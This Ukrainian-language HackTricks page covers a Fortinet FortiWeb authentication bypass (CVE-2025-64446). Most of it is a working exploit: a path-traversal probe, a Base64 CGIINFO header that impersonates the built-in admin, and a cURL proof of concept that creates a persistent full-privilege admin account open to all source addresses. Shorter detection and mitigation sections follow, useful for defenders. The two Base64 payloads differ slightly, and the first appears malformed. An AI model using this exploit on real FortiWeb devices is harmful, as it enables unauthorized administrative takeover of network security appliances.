Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Fortinet FortiWeb розкриває централізований диспетчер CGI за адресою /cgi-bin/fwbcgi. Комбінація двох багів дозволяє віддаленому неавторизованому нападнику:
- Дістатися до
fwbcgi, почавши URL з дійсним API prefix і виконавши traversing directories. - Вдавати будь-якого користувача (включаючи вбудований
admin), підставивши спеціальний HTTP header, якому CGI довіряє як ідентичності.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Спостерігалося використання в реальному житті для створення постійних admin-користувачів.
Пошкоджені версії (за публічними даними):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 повертає HTTP 403 для наведеної нижче traversal probe.
Швидка перевірка вразливості
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Інтерпретація: HTTP 200 → ймовірно вразливий; HTTP 403 → виправлено.
Ланцюжок причин
- API-prefix path traversal to internal CGI
- Будь-який шлях запиту, що починається з валідного префіксу FortiWeb API (наприклад,
/api/v2.0/cmdb/або/api/v2.0/cmd/), може за допомогою../пройти до/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Коли досягається
fwbcgi, перше сито виконує лояльну перевірку JSON, керовану файлом для кожного шляху під/var/log/inputcheck/. Якщо файл відсутній, перевірка проходить одразу. Якщо файл присутній, тіло має бути лише валідним JSON. Використовуйте{}як мінімальне коректне тіло.
- Header-driven user impersonation
- Програма читає CGI-змінну середовища
HTTP_CGIINFO(виводиться з HTTP-заголовкаCGIINFO), декодує її з Base64, парсить JSON і копіює атрибути напряму в контекст входу, встановлюючи domain/VDOM. Ключі, на які слід звернути увагу: username,loginname,vdom,profname- Приклад JSON для імітації вбудованого адміністратора:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 наведеного вище (як використовується в реальних умовах):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end схема зловживання (unauthenticated → admin)
- Отримати доступ до
/cgi-bin/fwbcgiчерез API-prefix traversal. - Надішліть будь-яке дійсне JSON тіло (наприклад,
{}), щоб пройти перевірку вводу. - Відправте заголовок
CGIINFO: <base64(json)>, де JSON визначає цільову ідентичність. - Виконайте POST з backend JSON, який очікується
fwbcgi, щоб виконати привілейовані дії (наприклад, створити admin-користувача для збереження доступу).
Мінімальний cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Імітувати admin і створити нового local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Примітки:
- Будь-яке валідне JSON тіло підходить (наприклад,
{}), якщо/var/log/inputcheck/<path>.jsonне існує. - Схема дій є внутрішньою для FortiWeb; наведений вище приклад додає локального адміністратора з повними привілеями.
Виявлення
- Запити, що досягають
/cgi-bin/fwbcgiчерез шляхи з префіксом API, які містять../(наприклад,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Наявність заголовка
CGIINFOіз Base64 JSON, що містить ключіusername/loginname/vdom/profname. - Артефакти бекенда:
- Файли за шляхами під
/var/log/inputcheck/(конфігурація gate). - Несподіване створення адміністратора та зміни конфігурації.
- Швидка перевірка: traversal probe повертає 200 (вразливий) проти 403 (заблоковано у виправлених збірках).
Пом’якшення
- Оновіть до виправлених релізів (наприклад: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) згідно з повідомленням постачальника.
- Поки не виправлено:
- Не відкривати management plane FortiWeb для недовірених мереж.
- Додайте правила reverse-proxy/WAF для блокування:
- Шляхи, що починаються з
/api/і містять../cgi-bin/fwbcgi. - Запити з заголовком
CGIINFO. - Моніторити та надсилати сповіщення за вказаними вище індикаторами виявлення.
Джерела
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

